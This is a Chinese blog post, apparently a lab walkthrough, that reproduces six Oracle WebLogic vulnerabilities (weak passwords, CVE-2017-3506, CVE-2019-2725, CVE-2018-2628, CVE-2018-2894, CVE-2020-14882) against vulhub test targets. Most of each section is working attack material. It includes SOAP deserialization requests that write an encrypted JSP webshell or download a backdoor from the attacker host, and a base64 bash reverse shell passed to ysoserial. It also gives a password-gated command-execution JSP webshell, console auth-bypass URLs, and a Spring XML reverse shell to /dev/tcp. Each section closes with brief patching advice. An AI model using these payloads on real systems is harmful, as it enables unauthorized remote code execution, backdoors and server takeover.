Weblogic中间件漏洞复现

1.Weblogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise> Pack for Eclipse)开发工具。

1.weblogic 弱口令getshell漏洞

参考:https://www.cnblogs.com/bmjoker/p/9822886.html

http://192.168.0.185:7001/z/shell.jsp

结果:
在这里插入图片描述
3.漏洞修复
设置强口令

2.XMLDecoder反序列化漏洞(CVE-2017-3506)

1.漏洞描述

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017- 10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装 补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威 胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

2.漏洞复现
环境weblogic的版本为10.3.6
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

在这里插入图片描述
poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.185:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 648

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 

    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>	
    <void method="println"><string>
    <![CDATA[ <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")) {String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta nce().equals(pageContext);}%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述
访问:

http://192.168.0.185:7001/bea_wls_internal/test.jsp

连接失败了。。。
在这里插入图片描述

用工具倒是成功了
在这里插入图片描述

3.修复方案
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑
是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wlswsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wlswsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-w
sat/ 是否为404页面。

3.wls-wsat反序列化漏洞(CVE-2019-2725)

0x01 漏洞描述:
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

0x02 影响版本:

Oracle WebLogic Server10.x
Oracle WebLogic Server12.1.3.0.0

0x03 影响组件:

wls9_async_response.war
wls-wsat.war

0x04 复现:
漏洞存在于:_async/AsyncResponseService,访问地址可以访问则存在漏洞:

通过访问路径/_async/AsyncResponseService判断wls9_async_response组件是否存在,如果出现下图所示,则可能存在漏洞

http://192.168.0.185:7001/_async/AsyncResponseService

在这里插入图片描述

使用burpsuite提交poc 下载远程后门到指定目录

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.185:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 887

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.0.182/shell.jsp.txt','serv ers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp ')</string> </void>
</array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

List item

访问失败原因:(没写进去)
在这里插入图片描述
5…修复建议
禁用bea_wls9_async_response组件
删除wls9_async_response的war包并重启
禁止访问 /_async/* 路径。

4. WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

一、漏洞介绍
1.1 漏洞详情
  开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。

1.2 基本原理
  T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。

T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。

RMI:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)

JRMP:
Java远程消息交换协议JRMP

1.3 影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

(当前官网最新版本对比,标红为漏洞影响版本,日期:200610)

二、环境搭建
受害者IP:192.168.159.129(vulhub)
攻击者IP:192.168.123.192
》》进入到如下目录下启动Weblogic 10.3.6.0

》》访问Weblogic web管理控制台

三、攻击过程
3.1 信息收集
》》Nmap扫描目标IP端口,查看是否使用weblogic

》》使用Nmap的NSE脚本查看对方是否开启T3协议,查看到目标站点开启了T3协议(这里建议使用命令行操作,别问我为什么知道的)

nmap -n -v -p 7001,7002 <target_ip> --script=weblogic-t3-info
1

3.2 漏洞探测
》》使用Weblogic漏洞检测poc探测是否存在该漏洞

github地址:https://github.com/rabbitmask/WeblogicScan
》》探测执行(发现存在CVE-2018-2628漏洞)

3.3 攻击操作
》》攻击者使用ysoserial启动一个JMRP Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19111 CommonsCollections1 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ==}|{base64,-d}|{bash,-i}”
1
(JMRP Server在19111端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为19110)

Tips1:ysoserial命令格式:
ysoserial.jar [payload] “[command]”

参数 释义
port JRMP Server监听的端口
payload_type 根据目标jdk版本选择CommonsCollections利用库
payload_arg 需要执行的命令
Tips2:
这里使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用

》》nc监听19110端口

》》使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)

python exp_CVE-2018-2628.py 192.168.159.129 7001 ysoserial.jar 192.168.123.192 19111 JRMPClient
1

Tips:exp_CVE-2018-2628参数说明

参数 释义
victim ip 受害者IP
victim port 受害者端口,7001
path to ysoserial 本地ysoserial路径
JRMPListener ip 启用ysoserial的IP
JRMPClient 执行JRMPClient的类(JRMPClient / JRMPClient2)
》》成功拿到受害者的shell

3.4 流量走向
整个操作过程中的核心攻击过程是:
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上

四、.漏洞修复
1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

5.WebLogic CVE-2018-2894文件任意上传

参考:https://blog.csdn.net/Aaron_Miller/article/details/106657746
漏洞复现

漏洞概述
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

影响范围

10.3.6
12.1.3
12.2.1.2
12.2.1.3

环境搭建
docker+vulhub

访问http://IP地址:7001:

搭建成功。

漏洞复现
访问/console:

使用:

docker-compose logs | grep password
1
获得登录密码(账号为weblogic)。

登录后,进行一些设置:

点击base_domain

点击高级:

启用 Web 服务测试页:

访问:/ws_utc/config.do

设置当前工作目录:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

访问这个目录是无需权限的。

点击安全-添加:

上传jsp木马:

列出几个常用的jsp木马:

执行命令

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]执行webshell。

该木马使用方式,传递两个参数 pwd 和 i

pwd为设置的名称(123)。

i 为执行的命令。

时间戳可通过抓包获得。

执行webshell:

http://ip地址:7001/ws_utc/css/config/keystore/1619437322636_cmd.jsp?pwd=123&i=ls

4.修复方案
1.升级 设置强口令

6.CVE-2020-14882 WebLogic远程代码执行漏洞

参考:https://blog.csdn.net/qq_41901122/article/details/111283269

Weblogic简介
WebLogic Server是美国Oracle公司的主要产品之一,其主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用,是商业市场上主要的Java(J2EE)应用服务器软件之一。
漏洞描述
2020年10月28日,Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞(CVE-2020-14882)POC被公开,远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ,并执行任意代码。
2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁更新完成后,攻击者仍可绕过WebLogic后台登录等限制,并控制Weblogic服务器。
造成的风险和危害极大。漏洞详情如下:

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

环境搭建
dockers搭建命令:

Cd /vulhub-master/weblogic/CVE-2020-14882
Sudo docker-compose up -d

在这里插入图片描述

http://192.168.232.146:7001/console/login/LoginForm.jsp

首先进入CVE-2020-14882的docker环境
sudo docker-compose up -d

构造url 达到未授权登录

http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?%20_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.J%20MXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

在这里插入图片描述

漏洞复现
方法一: 使用exploit.poc执行命令

方法二: 数据包,重放,执行命令
http://192.168.232.146:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
1

http://192.168.232.146:7001/console/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage
1

方法三:
首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹
写入文件

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/20201216qwe');"  HTTP/1.1
Host: 192.168.232.146:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=o-RqTvK1ODOZXxpZc0eIFmAeQPysZ1HsxYwPd2D0jiEMpTwpb4xJ!-585458242
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
http://192.168.0.105:7001/console/images/../console.portal? _nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSess ion("java.lang.Runtime.getRuntime().exec('touch /tmp/test');");

进入docker 环境

sudo docker exec -it cve202014882_weblogic_1 /bin/bash

在这里插入图片描述
这里创建一个xml文件(kali里),还是使用bash命令得到反弹shell

# reverse-bash.xml 
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.0.182/9999 0>&1]]></value> </list> </constructor-arg> </bean> </beans>

nc开启监听端口,访问
nc -lvnp 9999

访问:

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal? _nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.c ontext.support.ClassPathXmlApplicationContext("http://192.168.0.182/reverse- bash.xml")

在这里插入图片描述

修复建议
安装官方最新补丁进行升级:

https://www.oracle.com/security-alerts/cpuapr2020.html

临时措施:
由于该漏洞的补丁存在被绕过的风险,建议临时关闭后台/console/console.portal对外访问。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值